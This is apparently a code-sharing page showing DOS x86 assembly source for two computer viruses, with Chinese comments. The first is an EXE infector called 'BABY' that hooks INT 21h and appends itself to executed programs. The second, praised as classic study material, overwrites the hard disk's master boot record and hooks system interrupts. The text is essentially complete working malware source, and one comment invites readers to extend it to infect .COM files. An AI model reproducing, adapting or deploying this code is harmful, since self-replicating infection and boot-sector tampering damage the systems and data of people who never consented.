📄 vv3.asm
字号:
add ax,dx ;计算SS 初值
mov ss,ax
mov ax,word ptr [di+10] ;原程序SP送入AX
mov sp,ax
mov ax,word ptr [di+16] ;原程序CS 偏移送入AX
add ax,dx ;计算CS初值
mov bx,word ptr [di+14] ;原程序IP送入BX
mov ds,cx ;置DS
mov es,cx ;置ES
push ax ;原CS入栈
push bx ;原IP入栈
xor ax,ax
xor bx,bx ;清 AX,BX,CX,DX,SI,DI,BP
xor cx,cx
xor dx,dx
xor si,si
xor di,di
xor bp,bp
retf
;=========================================
new_int21:
pushf ;标志入栈
cmp ax,30AE ;是否为同伴在呼叫
jne next ;不是,则转
call dword ptr cs:oldint21 ;是,则响应
mov cx,04c6
iret
next:
cmp ah,4bh ;是否为运行程序
jz infect ;是,则去感染
pusha ;否,则呼叫原INT21
push ds
push es
jmp exit_int21
exit_int21_0:
mov ah,3e ;关闭文档
call calloldint21
exit_int21:
pop es ;寄存器出栈
pop ds
popa
popf ;标志出栈
jmp dword ptr cs:oldint21 ;呼叫原INT21返回,执行原程序
infect:
pusha ;寄存器入栈
push ds
push es
mov ax,4300
call calloldint21 ;取文档属性
mov word ptr cs:file_attrib,cx ;保存原属性
mov ax,4301 ;置成普通文档
mov cx,20
call calloldint21
mov ax,3d02 ;开档
call calloldint21
jnc con1 ;没错,则继续
jmp exit_int21 ;错,则离开
con1:
xchg ax,bx ;保存HANDLE
mov ax,5700 ;取文档时间
call calloldint21
and cx,7ff
cmp cx,18bH ;文档修改时间是否为: 12分22秒
jnz con2 ;不是继续
jmp exit_int21_0 ;是,不感染
con2:
push cs
push cs
pop ds
pop es ;置DS=ES=CS
lea dx,old_header ;读文档前20H 个字符
mov cx,20
mov ah,3f
call calloldint21
jnc con3
jmp exit_int21_0
con3:
lea si,old_header ;复制文档头前20H 个字符
lea di,vir_header
mov cx,20
cld
rep movsb
lea di,vir_header
mov al,byte ptr [di] ;判断文档是否为.EXE FILE
add al,byte ptr [di+1]
cmp al,0a7
jnz infect_com
jmp infect_exe
infect_com:
;=======================================
;You can add infect .com file here!
;=======================================
jmp exit_int21_0 ;是.COM 档则离开
infect_exe:
call check_size ;去文档长度
cmp dx,0
jnz con6
cmp ax,07bc ;文档长度>1980则感染
ja con6 ;否则退出
jmp exit_int21_0
con6:
push ax ;保存文档长度 DX:AX
push dx
add ax,vir_bytes ;计算感染后的文档长度
adc dx,0 ;并回写
mov cx,200
div cx
or dx,dx
jz con7
inc ax
con7:
mov word ptr [di+2],dx
mov word ptr [di+4],ax
pop dx ;取回文档长度
pop ax
mov cx,10 ;(DX:AX/10)后 AX 为 PARA数
div cx ;DX 为余数
sub ax,word ptr [di+08] ;剪去文档头的PARA数
mov word ptr [di+14],dx ;此时,DX为感染后的IP
mov word ptr [di+16],ax ;AX为感染后的SS,CS
mov word ptr [di+0e],ax
add dx,4000 ;新SP等于新IP+4000
mov word ptr [di+10],dx ;送入SP
set_time_exit:
mov ax,4200 ;将修改后的文档头回写
xor cx,cx
xor dx,dx
call calloldint21
mov dx,di
mov cx,20
mov ah,40
call calloldint21
jnc con5
jmp exit_int21_0
con5:
call check_size ;移动文档指针到文档尾
lea dx,start
mov cx,vir_bytes ;将自己写入
mov ah,40
call calloldint21 ;置文档时间为: 12分22秒
mov ax,5700
call calloldint21
and cx,0f800
or cx,18bh
mov ax,5701
call calloldint21
mov ah,3e ;闭档
call calloldint21
pop es
pop ds
popa
pusha
push ds
push es
mov cx,word ptr cs:file_attrib ;取原文档属性
mov ax,4301 ;置回原文档属性
call calloldint21
jmp exit_int21 ;离开
;===============================
check_size: ; 作用: 1. 读文档大小 2.将文件指针移到文档尾部
mov ax,4202
xor cx,cx
xor dx,dx
call calloldint21
ret
;===============================
calloldint21: ;呼叫就的中断 21h
pushf
call dword ptr cs:oldint21
ret
;===============================
write_on_screen: ; 直接写屏
push es
mov ax,0003
int 10
mov dx,0b800
mov es,dx
xor di,di
cld
loop_write:
lodsb
or al,al
jnz read_con
pop es
ret
read_con:
stosb
mov es:byte ptr [di],bl
inc di
jmp loop_write
;===============================
; My cute Virus Data
;===============================
old_header db 0cdh,20,1e dup(0)
active_mess db ' Warning! Warning! VIRUS Warning!',2e dup(20)
db ' Hi! You notice here! VIRUS : BABY ( Ver 1.00B ) has come!',15 dup(20)
db ' Guess What will I do, NEXT ? Press any key to get the ANSWER...',0f DUP(20),0
COLOR1 EQU 0CF
active_other_mess db 50 dup(20)
db ' It is only a joke, I will not harm you! Today is ANDY birthday, so I will do '
db ' nothing today! Have a good day! Bye!',7bh dup(20),0
COLOR2 EQU 1E
vir_bytes equ $-offset start
vir_para equ (vmem+0f)/10
vir_header db 20 dup(0)
oldint21 dd ?
file_attrib dw ?
vmem equ $-offset start
;==================================
end start
;第三段非常经典,大家一定要好好看,可以受益不少
CSEG SEGMENT
ASSUME CS:CSEG
;** PART 1:文件部分 *****************************************************
START: JMP BEGIN
B_IP DW 7777H ;|----------------------;存放原文件的CS:IP
B_CS DW 7777H ;| ;初始值的变量
FNEXE DB '*.EXE';|----------------------;EXE文件通配名
N_IP DW 0 ;|--------------------------;存放感染后文件的
N_CS DW 0 ;| ;CS:IP初始值变量
B_EXE DW 0 ;|--------------------------;用于放置计算结
H_EXE DW 0 ;| ;果的两个变量
DISP PROC ;|
JMP COUN1 ;|
M_WORD:DB '*I am sorry to bother you. *' ;|
DB 0AH,0DH ;|
DB '*I will not damage your PC.*' ;|
DB 0AH,0DH ;|
DB '$' ;|
;|
COUN1: MOV DX,CS ;|
MOV DS,DX ;|;表现模块:
MOV DX,OFFSET M_WORD ;|;显示:"我很抱谦打扰你.
MOV AH,09H ;| 我不会破坏你的
INT 21H ;| 电脑."
RET ;|
DISP ENDP ;|
BEGIN: PUSH DS
PUSH ES
CALL DISP
XOR AX,AX ;|
MOV DS,AX ;|--------;检查是否已驻留内存
CMP DS:[21FH],BYTE PTR 77H ;| ;是->转HBG 否->继续
JZ HBG ;|
MOV DS:[21FH],BYTE PTR 77H ;|--------;置内存驻留标志
MOV AX,CS ;|
MOV DS,AX ;|
MOV SI,OFFSET HDP ;|
MOV AX,22H ;|
MOV ES,AX ;|-----;将驻留部分移至内存
XOR DI,DI ;| ;0022H:0000H处
MOV CX,OFFSET MAIN-OFFSET HDP ;|
CLD ;|
REP MOVSB ;|
XOR AX,AX ;| ;保存原中断10H,13H
MOV DS,AX ;|-------------------------;至85H和86H
CALL SM ;| ;并修改使之指向新中断部分
MOV AX,CS
MOV DS,AX
MOV ES,AX
MOV AX,0201H ;|
MOV BX,OFFSET P_SIZE;|
MOV CX,0001H ;|---------------;读主引导扇区
MOV DX,0080H ;|
INT 86H ;|
CMP DS:[BX],BYTE PTR 0FAH;|----------;是否已被感染
JNZ HBG ;| ;是->转HBG 否->继续
MOV CX,0004H ;|
MOV AX,0301H ;|----------------------;将原主引导扇区写入
MOV DX,0080H ;| ;0面0道4扇区
INT 86H ;|
MOV DI,OFFSET P_SIZE ;|
MOV SI,OFFSET HDP ;|
MOV CX,OFFSET MAIN-OFFSET HDP ;|-----;将引导部分覆盖引导程序
CLD ;| ;不破坏硬盘分区表
REP MOVSB ;|
MOV AX,0301H ;|
MOV CX,0001H ;|----------------------;将引导部分写入主引导扇区
MOV DX,0080H ;|
INT 86H ;|
MOV AX,0302H ;|
XOR BX,BX ;|
MOV CX,0002H ;|----------------------;将自身全部代码写入2,3扇区
MOV DX,0080H ;|
INT 86H ;|
HBG: POP ES
POP DS
MOV AX,DS ;|
ADD AX,10H ;|-----------;执行被感染的原程序
ADD CS:[B_CS],AX ;|
JMP DWORD PTR CS:[B_IP] ;|
;** PART 2:引导部分 *****************************************************
HDP: JMP DP
TIME DW 180H ;|---------------------;计时数:当为0时就修改中断
JMPA DW 7C00H ;|---------------------;启动时系统就将引导程序装
DW 0000H ;| ;入此地址运行;病毒程序也
;会将原引导程序装入此地址
JMPN DW OFFSET NEXT-OFFSET HDP ;|----;引导部分将自身转移后继续
DW 0022H ;| ;运行的地址
JMP_MAIN DW OFFSET MAIN ;|---------------;装入后的感染部分在
DW 8000H ;| ;内存中的地址
DP: XOR AX,AX
MOV DS,AX
MOV ES,AX
MOV SS,AX
MOV SP,7C00H
MOV SI,SP ;|
MOV DI,220H ;|
MOV CX,OFFSET MAIN-OFFSET HDP ;|
CLD ;|将自身移至22H:00H后,继续
REP MOVSB ;|运行
MOV BX,OFFSET JMPN-OFFSET HDP+7C00H ;|
JMP DWORD PTR CS:[BX] ;|
NEXT: MOV BX,7C00H ;|
MOV AX,0201H ;|
MOV CX,0004H ;|----------------------;读原主引导扇区
MOV DX,0080H ;|
INT 13H ;|
MOV DS:[21FH],BYTE PTR 77H;|---------;置内存驻留标志
MOV AX,DS:[20H] ;|
MOV DS:[210H],AX ;|------------------;使中断84H指向中断08H
MOV AX,DS:[22H] ;|
MOV DS:[212H],AX ;|
MOV AX,OFFSET NEW08H-OFFSET HDP ;|
MOV DS:[20H],AX ;|---;将中断08H指向NEW08H程序块
MOV AX,CS ;|
MOV DS:[22H],AX ;|
MOV BX,OFFSET JMPA-OFFSET HDP ;|-----;执行原引导程序
JMP DWORD PTR CS:[BX]
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -